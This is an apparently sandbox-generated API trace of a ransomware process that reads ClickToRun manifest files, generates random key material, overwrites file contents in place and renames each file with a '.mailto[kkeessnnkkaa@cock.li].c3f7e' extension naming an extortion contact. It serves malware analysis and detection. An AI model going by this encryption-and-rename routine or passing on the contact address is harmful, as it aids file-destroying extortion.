	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xccbb21e7
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xf7f3dc13
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x90a72a83
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xb3450684
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x746b4981
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x14bc432c
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x931f1a72
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xa326b643
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x5169a0d4
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xeb065c54
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xa12ad3cf
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x6a7917c3
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xea429e1
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xd36c0bee
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x361fb27e
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xbdf6be5
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x850dc3cf
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x37d95468
	[0089.102] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xabef9867
	[0089.111] ReadFile (in: hFile=0x1c18, lpBuffer=0x4902040, nNumberOfBytesToRead=0x906, lpNumberOfBytesRead=0x2c93f9d0, lpOverlapped=0x0 | out: lpBuffer=0x4902040*, lpNumberOfBytesRead=0x2c93f9d0*=0x906, lpOverlapped=0x0) returned 1
	[0089.111] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.111] WriteFile (in: hFile=0x1c18, lpBuffer=0x490e848*, nNumberOfBytesToWrite=0x906, lpNumberOfBytesWritten=0x2c93f9cc, lpOverlapped=0x0 | out: lpBuffer=0x490e848*, lpNumberOfBytesWritten=0x2c93f9cc*=0x906, lpOverlapped=0x0) returned 1
	[0089.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x490e848) returned 1
	[0089.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4902040) returned 1
	[0089.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2d83288
	[0089.112] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.112] WriteFile (in: hFile=0x1c18, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x2c93fa34, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c93fa34*=0x151, lpOverlapped=0x0) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a90) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0089.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0089.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x2e02570
	[0089.114] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml"
	[0089.114] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c93f9ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x154) returned 0x4730008
	[0089.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.115] NtQueryInformationFile (in: FileHandle=0x1c18, IoStatusBlock=0x2c93f9f8, FileInformation=0x2c93f9d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c93f9f8, FileInformation=0x2c93f9d0) returned 0x0
	[0089.115] NtSetInformationFile (FileHandle=0x1c18, IoStatusBlock=0x2c93f9f8, FileInformation=0x2c93f9d0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.116] FlushFileBuffers (hFile=0x1c18) returned 1
	[0093.268] CloseHandle (hObject=0x1c18) 

Thread:
	id = 1290
	os_tid = 0x2064

	[0089.116] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 0x20
	[0089.117] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.117] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c1c
	[0089.117] GetFileSizeEx (in: hFile=0x1c1c, lpFileSize=0x2c9bfe74 | out: lpFileSize=0x2c9bfe74*=11146) returned 1
	[0089.117] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x2b86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.117] ReadFile (in: hFile=0x1c1c, lpBuffer=0x2c9bfdf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c9bfdf4, lpOverlapped=0x0 | out: lpBuffer=0x2c9bfdf8*, lpNumberOfBytesRead=0x2c9bfdf4*=0x4, lpOverlapped=0x0) returned 1
	[0089.119] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.119] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0089.119] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0089.119] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.119] NtQuerySystemTime (in: CurrentTime=0x2c9bfdd4 | out: CurrentTime=0x2c9bfdd4*=132251868158507399) returned 0x0
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xc1e82432
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x35cc7c7e
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x37482fa0
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xe3f95a3f
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x864340a0
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xdae2e30b
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xb1b0fd75
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x4336d0be
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x775491b1
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xc427aaa4
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x9b3ac906
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x2b5c19ce
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xdb34e6ec
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xaeebe54d
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x6ba0c036
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x5dcc89b6
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xeab5b6ad
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x68c1d498
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x10ed669f
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x6d6b9513
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xf08cc55
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xcc7b883e
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x44024504
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x23252b2b
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xdf2a29f6
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x3bb9e0bd
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xae573b66
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0x43a52c08
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xb90fe346
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xe9faf28d
	[0089.119] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xe7293145
	[0089.120] RtlRandom (in: Seed=0x2c9bfde0 | out: Seed=0x2c9bfde0) returned 0xbe225500
	[0089.128] ReadFile (in: hFile=0x1c1c, lpBuffer=0x4902040, nNumberOfBytesToRead=0x2b8a, lpNumberOfBytesRead=0x2c9bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x4902040*, lpNumberOfBytesRead=0x2c9bfdd0*=0x2b8a, lpOverlapped=0x0) returned 1
	[0089.129] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.129] WriteFile (in: hFile=0x1c1c, lpBuffer=0x490e848*, nNumberOfBytesToWrite=0x2b8a, lpNumberOfBytesWritten=0x2c9bfdcc, lpOverlapped=0x0 | out: lpBuffer=0x490e848*, lpNumberOfBytesWritten=0x2c9bfdcc*=0x2b8a, lpOverlapped=0x0) returned 1
	[0089.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0089.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0089.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x490e848) returned 1
	[0089.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4902040) returned 1
	[0089.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d778a0
	[0089.130] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.131] WriteFile (in: hFile=0x1c1c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x2c9bfe34, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c9bfe34*=0x13b, lpOverlapped=0x0) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2e02570
	[0089.132] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml"
	[0089.132] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.132] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c9bfdec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x498ed90
	[0089.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0089.133] NtQueryInformationFile (in: FileHandle=0x1c1c, IoStatusBlock=0x2c9bfdf8, FileInformation=0x2c9bfdd0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c9bfdf8, FileInformation=0x2c9bfdd0) returned 0x0
	[0089.133] NtSetInformationFile (FileHandle=0x1c1c, IoStatusBlock=0x2c9bfdf8, FileInformation=0x2c9bfdd0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.134] FlushFileBuffers (hFile=0x1c1c) returned 1
	[0093.268] CloseHandle (hObject=0x1c1c) 

Thread:
	id = 1291
	os_tid = 0x2068

	[0089.128] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.130] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.135] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c20
	[0089.135] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2ca3f880 | out: lpFileSize=0x2ca3f880*=94612) returned 1
	[0089.135] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x17190, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.135] ReadFile (in: hFile=0x1c20, lpBuffer=0x2ca3f804, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ca3f800, lpOverlapped=0x0 | out: lpBuffer=0x2ca3f804*, lpNumberOfBytesRead=0x2ca3f800*=0x4, lpOverlapped=0x0) returned 1
	[0089.136] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.136] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.136] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.136] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.136] NtQuerySystemTime (in: CurrentTime=0x2ca3f7e0 | out: CurrentTime=0x2ca3f7e0*=132251868158663514) returned 0x0
	[0089.136] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x582737e1
	[0089.136] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x2e163031
	[0089.136] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xdb3a24c5
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xc1b8cdc1
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x608c8a28
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xb50f7bed
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xcb8d4e8d
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xb0a2fc61
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x90b3bfa7
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x9fa3c28d
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xd698e9cb
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xd1ed9a5a
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x1833255e
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x739bb8ba
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xb28ae663
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x75a9620c
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xdbef7d23
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x7a512b4b
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x9235c6f9
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xab7f086a
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x675c322d
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x1e73491e
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xcc3c63af
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x890b0cd8
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x789a2f01
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x13828a12
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x939d88ac
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x4d0fa78
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x1282f12f
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x21d81766
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0x709826b7
	[0089.137] RtlRandom (in: Seed=0x2ca3f7ec | out: Seed=0x2ca3f7ec) returned 0xfa8e33f
	[0089.145] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.146] ReadFile (in: hFile=0x1c20, lpBuffer=0x4902040, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ca3f7c0, lpOverlapped=0x0 | out: lpBuffer=0x4902040*, lpNumberOfBytesRead=0x2ca3f7c0*=0xc800, lpOverlapped=0x0) returned 1
	[0089.148] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0089.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x490e848
	[0089.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.150] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.150] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.150] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.150] WriteFile (in: hFile=0x1c20, lpBuffer=0x490e848*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ca3f7c0, lpOverlapped=0x0 | out: lpBuffer=0x490e848*, lpNumberOfBytesWritten=0x2ca3f7c0*=0xc800, lpOverlapped=0x0) returned 1
	[0093.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x490e848) returned 1
	[0093.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4902040) returned 1
	[0093.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x75) returned 0x47bcf10
